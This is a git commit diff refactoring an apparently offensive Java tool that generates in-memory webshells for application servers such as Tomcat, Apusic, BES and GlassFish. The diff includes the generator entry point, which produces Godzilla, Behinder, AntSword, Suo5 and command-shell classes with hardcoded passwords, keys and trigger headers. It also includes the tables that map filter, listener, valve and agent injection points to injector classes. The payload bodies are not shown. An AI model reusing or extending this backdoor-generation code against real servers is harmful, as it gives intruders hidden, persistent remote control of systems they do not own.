refactor: simplify memshell generate map register

This commit is contained in:
ReaJason
2025-02-23 02:33:09 +08:00
parent f27b06fc0b
commit 5084a0b850
177 changed files with 3761 additions and 10859 deletions
@@ -1,10 +1,10 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.memshell.GeneratorMain;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.config.GenerateResult;
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.Packers;
import lombok.Data;
/**
@@ -0,0 +1,53 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import org.jetbrains.annotations.NotNull;
import java.util.Set;
import java.util.stream.Collectors;
/**
* @author ReaJason
*/
public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
private final String targetClassName;
private final Set<String> replaceClassNames;
public MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
this.targetClassName = targetClassName.replace(".", "/");
this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet());
}
@NotNull
@Override
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull MethodDescription instrumentedMethod,
@NotNull MethodVisitor methodVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
int writerFlags,
int readerFlags) {
return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if (opcode == Opcodes.INVOKESTATIC
&& replaceClassNames.contains(owner)) {
super.visitMethodInsn(Opcodes.INVOKESTATIC,
targetClassName,
name,
descriptor,
false);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
};
}
}
@@ -1,76 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import java.nio.file.Files;
import java.nio.file.Paths;
import static net.bytebuddy.matcher.ElementMatchers.named;
public class MethodSubstitutionExample {
public static class MethodReplacementMethodVisitor extends MethodVisitor {
private final String targetClassName;
public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
super(Opcodes.ASM9, mv);
this.targetClassName = targetClassName;
}
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if (opcode == Opcodes.INVOKESTATIC
&& owner.endsWith("ExternalClass")
&& name.equals("replacementMethod")) {
super.visitMethodInsn(Opcodes.INVOKESTATIC,
targetClassName.replace(".", "/"),
name,
descriptor,
false);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
}
public static class ExternalClass {
public static String externalMethod(String input) {
return "External: " + input;
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
public static class TargetClass {
public String targetMethod(String input) {
System.out.println("targetMethod");
return ExternalClass.replacementMethod(input);
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
public static void main(String[] args) throws Exception {
String oldClassName = TargetClass.class.getName();
String newClassName = oldClassName + "Redefinition";
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
.redefine(TargetClass.class)
.name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
.make();
Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
.getLoaded();
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.dynamic.DynamicType;
import org.junit.jupiter.api.Test;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/2/22
*/
class MethodCallReplaceVisitorWrapperTest {
public static class ExternalClass {
public static String externalMethod(String input) {
return "External: " + input;
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
public static class TargetClass {
public String targetMethod(String input) {
System.out.println("targetMethod");
return ExternalClass.replacementMethod(input);
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
@Test
void test() throws Exception {
String newClassName = TargetClass.class.getName() + "Redefinition";
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
.redefine(TargetClass.class)
.name(newClassName)
.visit(new AsmVisitorWrapper
.ForDeclaredMethods()
.method(named("targetMethod"),
new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ExternalClass.class.getName())
)
)
)
.make();
Class<?> redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader())
.getLoaded();
Object object = redefinedClass.newInstance();
Object result = object.getClass().getMethod("targetMethod", String.class).invoke(object, "xixi");
assertEquals("Replaced: xixi", result);
}
}
+4 -17
View File
@@ -4,8 +4,10 @@ plugins {
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = 'com.reajason.javaweb.memsell'
@@ -16,21 +18,6 @@ test {
finalizedBy jacocoTestReport
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
dependencies {
implementation project(":common")
implementation project(":deserialize")
@@ -42,7 +29,7 @@ dependencies {
implementation 'javax.websocket:javax.websocket-api'
implementation 'jakarta.servlet:jakarta.servlet-api'
implementation 'xalan:xalan'
// implementation 'xalan:xalan'
implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io'
@@ -1,81 +0,0 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Suo5)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_8)
.debug(true)
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test123").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass("test123")
.headerName("User-Agent")
.headerValue("test").build();
Suo5Config suo5Config = Suo5Config.builder()
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
}
}
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer();
AbstractShell shell = server.getShell();
if (shell == null) {
throw new IllegalArgumentException("Unsupported server");
}
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
}
@SneakyThrows
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
return packerInstance.getInstance().pack(generateResult);
}
return null;
}
}
@@ -1,107 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2024/12/7
*/
public abstract class AbstractShell {
/**
* 获取内存马功能所支持的注入类型列表
*
* @param tool 内存马功能
* @return shellTypes
*/
public List<String> getSupportedShellTypes(ShellTool tool) {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
case Behinder -> getBehinderShellMap().keySet().stream().toList();
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
}
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
}
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getShellClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
return GenerateResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.build();
}
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
case Suo5 -> getSuo5ShellMap();
case AntSword -> getAntSwordShellMap();
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
};
return shellMap.get(shellType);
}
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return switch (shellConfig.getShellTool()) {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
}
@@ -1,77 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class ApusicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
return map;
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
import com.reajason.javaweb.memshell.bes.command.CommandValve;
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.*;
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class BesShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
}
@@ -0,0 +1,118 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Apusic)
.shellTool(ShellTool.Behinder)
.shellType(ShellType.LISTENER)
.targetJreVersion(Opcodes.V1_8)
.debug(true)
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test123").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass("test123")
.headerName("User-Agent")
.headerValue("test").build();
Suo5Config suo5Config = Suo5Config.builder()
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
if (generateResult != null) {
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
}
}
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer();
AbstractShell shell = server.getShell();
if (shell == null) {
throw new IllegalArgumentException("Unsupported server");
}
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
}
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getShellClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
return GenerateResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.build();
}
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getShellTool()) {
case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command:
return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5:
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
}
}
@@ -1,104 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/12
*/
public class GlassFishShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
